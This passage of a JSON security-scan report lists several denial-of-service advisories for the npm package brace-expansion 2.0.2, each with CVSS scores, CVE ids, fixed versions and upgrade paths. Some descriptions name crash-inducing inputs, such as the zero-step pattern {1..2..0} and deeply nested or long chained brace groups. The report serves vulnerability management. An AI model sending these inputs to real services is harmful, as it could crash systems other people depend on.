"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
